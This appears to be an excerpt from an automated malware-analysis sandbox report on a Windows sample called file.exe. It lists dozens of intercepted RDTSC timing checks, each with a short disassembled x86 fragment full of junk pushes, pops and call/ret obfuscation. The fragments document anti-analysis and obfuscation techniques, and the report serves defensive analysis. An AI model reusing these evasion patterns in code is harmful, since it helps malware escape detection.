Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 107EC3B second address: 107EC40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 107EC40 second address: 107EC46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 107DD94 second address: 107DE16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F1CE4D7C498h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 js 00007F1CE4D7C49Ch 0x0000002c mov dword ptr [ebp+122D1A79h], eax 0x00000032 push dword ptr fs:[00000000h] 0x00000039 mov bh, BFh 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 mov dword ptr [ebp+12451034h], ecx 0x00000048 mov eax, dword ptr [ebp+122D03B1h] 0x0000004e pushad 0x0000004f mov dword ptr [ebp+122D1A9Fh], edx 0x00000055 mov dword ptr [ebp+12451020h], ebx 0x0000005b popad 0x0000005c push FFFFFFFFh 0x0000005e add dword ptr [ebp+122D2953h], esi 0x00000064 nop 0x00000065 pushad 0x00000066 push eax 0x00000067 push edx 0x00000068 jc 00007F1CE4D7C496h 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 107FBE2 second address: 107FBF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F122h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1081C8E second address: 1081C92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1080E0B second address: 1080E11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1080E11 second address: 1080E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1080E15 second address: 1080E8B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b clc 0x0000000c mov ebx, dword ptr [ebp+122D2F6Dh] 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F1CE475F118h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a push 00000000h 0x0000003c push eax 0x0000003d call 00007F1CE475F118h 0x00000042 pop eax 0x00000043 mov dword ptr [esp+04h], eax 0x00000047 add dword ptr [esp+04h], 00000019h 0x0000004f inc eax 0x00000050 push eax 0x00000051 ret 0x00000052 pop eax 0x00000053 ret 0x00000054 mov eax, dword ptr [ebp+122D165Dh] 0x0000005a movsx edi, bx 0x0000005d push FFFFFFFFh 0x0000005f mov edi, edx 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 pushad 0x00000066 popad 0x00000067 pop eax 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108300D second address: 1083012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1084046 second address: 108409F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1CE475F118h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F1CE475F118h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov bx, si 0x0000002a stc 0x0000002b push 00000000h 0x0000002d je 00007F1CE475F11Ch 0x00000033 mov edi, dword ptr [ebp+122D304Bh] 0x00000039 push 00000000h 0x0000003b mov dword ptr [ebp+1246AA2Ah], eax 0x00000041 push eax 0x00000042 pushad 0x00000043 pushad 0x00000044 jmp 00007F1CE475F11Ah 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1083012 second address: 1083018 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1086013 second address: 108607F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1CE475F11Fh 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F1CE475F118h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 sub dword ptr [ebp+1246ADBAh], edi 0x0000002b push 00000000h 0x0000002d push ecx 0x0000002e sub bx, 5971h 0x00000033 pop edi 0x00000034 push 00000000h 0x00000036 jmp 00007F1CE475F129h 0x0000003b xchg eax, esi 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f push ebx 0x00000040 pop ebx 0x00000041 push esi 0x00000042 pop esi 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1087F7B second address: 1087FA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1CE4D7C49Eh 0x00000009 popad 0x0000000a jne 00007F1CE4D7C49Ch 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007F1CE4D7C498h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108A771 second address: 108A776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1088229 second address: 1088231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108B86E second address: 108B874 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108A8B9 second address: 108A8C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108B874 second address: 108B878 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108C7CA second address: 108C7D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108C7D0 second address: 108C7D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108C7D5 second address: 108C7DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108C7DB second address: 108C83B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 je 00007F1CE475F11Ch 0x0000000f mov dword ptr [ebp+122D1EACh], esi 0x00000015 push 00000000h 0x00000017 jmp 00007F1CE475F122h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007F1CE475F118h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 00000015h 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b jl 00007F1CE475F125h 0x00000041 jmp 00007F1CE475F11Fh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108C83B second address: 108C841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108C841 second address: 108C845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1095C4F second address: 1095C55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108C9C3 second address: 108C9D9 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1CE475F11Ch 0x00000008 jnc 00007F1CE475F116h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108CAB1 second address: 108CADB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C49Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007F1CE4D7C498h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1CE4D7C49Fh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10955EC second address: 1095612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push esi 0x00000008 pop esi 0x00000009 popad 0x0000000a jmp 00007F1CE475F129h 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109575E second address: 1095764 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1095764 second address: 109576D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109A1D6 second address: 109A1E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1CE4D7C49Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109A1E9 second address: 109A21D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jns 00007F1CE475F11Eh 0x0000000f jnp 00007F1CE475F118h 0x00000015 pushad 0x00000016 popad 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F1CE475F125h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109A21D second address: 109A235 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109A235 second address: 109A23A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109A344 second address: 109A34F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1CE4D7C496h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109A34F second address: 109A35A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F1CE475F116h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109A35A second address: 109A371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F1CE4D7C49Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109A371 second address: 109A39C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F1CE475F126h 0x00000013 jl 00007F1CE475F116h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109A39C second address: 109A3C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F1CE4D7C496h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109A3C4 second address: 109A3CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109A3CA second address: 109A3F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F1CE4D7C496h 0x00000009 jmp 00007F1CE4D7C4A3h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 jc 00007F1CE4D7C4A0h 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109A508 second address: 109A50C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109A50C second address: 109A54B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jc 00007F1CE4D7C498h 0x00000012 jmp 00007F1CE4D7C4A2h 0x00000017 popad 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d ja 00007F1CE4D7C496h 0x00000023 jmp 00007F1CE4D7C49Ch 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109A54B second address: 109A550 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A133E second address: 10A134D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1CE4D7C49Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A0BB8 second address: 10A0BFE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1CE475F116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F1CE475F123h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1CE475F11Eh 0x00000016 jmp 00007F1CE475F129h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A1001 second address: 10A102A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F1CE4D7C4A0h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1CE4D7C4A2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A102A second address: 10A102E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AB011 second address: 10AB023 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F1CE4D7C496h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AB023 second address: 10AB046 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Bh 0x00000007 je 00007F1CE475F116h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jc 00007F1CE475F116h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AB046 second address: 10AB04C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AB04C second address: 10AB051 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AB051 second address: 10AB057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A9D86 second address: 10A9D8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A9D8B second address: 10A9DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jno 00007F1CE4D7C496h 0x0000000c popad 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop edx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F1CE4D7C4A4h 0x0000001c jnl 00007F1CE4D7C498h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A9F21 second address: 10A9F30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1CE475F116h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A9F30 second address: 10A9F3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F1CE4D7C496h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AA495 second address: 10AA499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A9ACC second address: 10A9AD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AE1C5 second address: 10AE1C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AE1C9 second address: 10AE1D5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1CE4D7C496h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106F837 second address: 106F83B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106F83B second address: 106F841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106F841 second address: 106F847 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106F847 second address: 106F84B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106F84B second address: 106F86F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F129h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106F86F second address: 106F8CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F1CE4D7C498h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 jmp 00007F1CE4D7C4A8h 0x00000028 lea eax, dword ptr [ebp+1247E585h] 0x0000002e and ecx, 7B43F360h 0x00000034 mov ecx, 0BD9E7E4h 0x00000039 nop 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d push eax 0x0000003e pop eax 0x0000003f ja 00007F1CE4D7C496h 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106F8CF second address: 106F8D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F1CE475F116h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106F8D9 second address: 106F8F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1CE4D7C49Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106F8F2 second address: 106F8F7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106F997 second address: 106FA4F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1CE4D7C496h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b xchg eax, ebx 0x0000000c mov dword ptr [ebp+122D1EC6h], eax 0x00000012 push dword ptr fs:[00000000h] 0x00000019 or dword ptr [ebp+122D2808h], ecx 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007F1CE4D7C498h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 0000001Ch 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 mov dword ptr [ebp+1247E5DDh], esp 0x00000046 push 00000000h 0x00000048 push edi 0x00000049 call 00007F1CE4D7C498h 0x0000004e pop edi 0x0000004f mov dword ptr [esp+04h], edi 0x00000053 add dword ptr [esp+04h], 0000001Ah 0x0000005b inc edi 0x0000005c push edi 0x0000005d ret 0x0000005e pop edi 0x0000005f ret 0x00000060 mov ecx, dword ptr [ebp+122D2576h] 0x00000066 mov edx, dword ptr [ebp+122D2D23h] 0x0000006c cmp dword ptr [ebp+122D2EDBh], 00000000h 0x00000073 jne 00007F1CE4D7C55Ah 0x00000079 mov dword ptr [ebp+122D1A58h], edi 0x0000007f mov byte ptr [ebp+122D2F86h], 00000047h 0x00000086 mov ecx, 55999C4Fh 0x0000008b mov eax, D49AA7D2h 0x00000090 push ecx 0x00000091 pop ecx 0x00000092 nop 0x00000093 pushad 0x00000094 jmp 00007F1CE4D7C49Fh 0x00000099 pushad 0x0000009a push eax 0x0000009b push edx 0x0000009c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106FA4F second address: 106FA6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1CE475F116h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1CE475F11Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106FFF6 second address: 107000E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F1CE4D7C49Ch 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 107000E second address: 1070012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10701EF second address: 10701F5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AE688 second address: 10AE68D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AE68D second address: 10AE6BB instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1CE4D7C498h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F1CE4D7C4B0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AE6BB second address: 10AE6E1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 je 00007F1CE475F116h 0x00000009 jmp 00007F1CE475F121h 0x0000000e pop edi 0x0000000f pushad 0x00000010 jns 00007F1CE475F116h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AE841 second address: 10AE845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
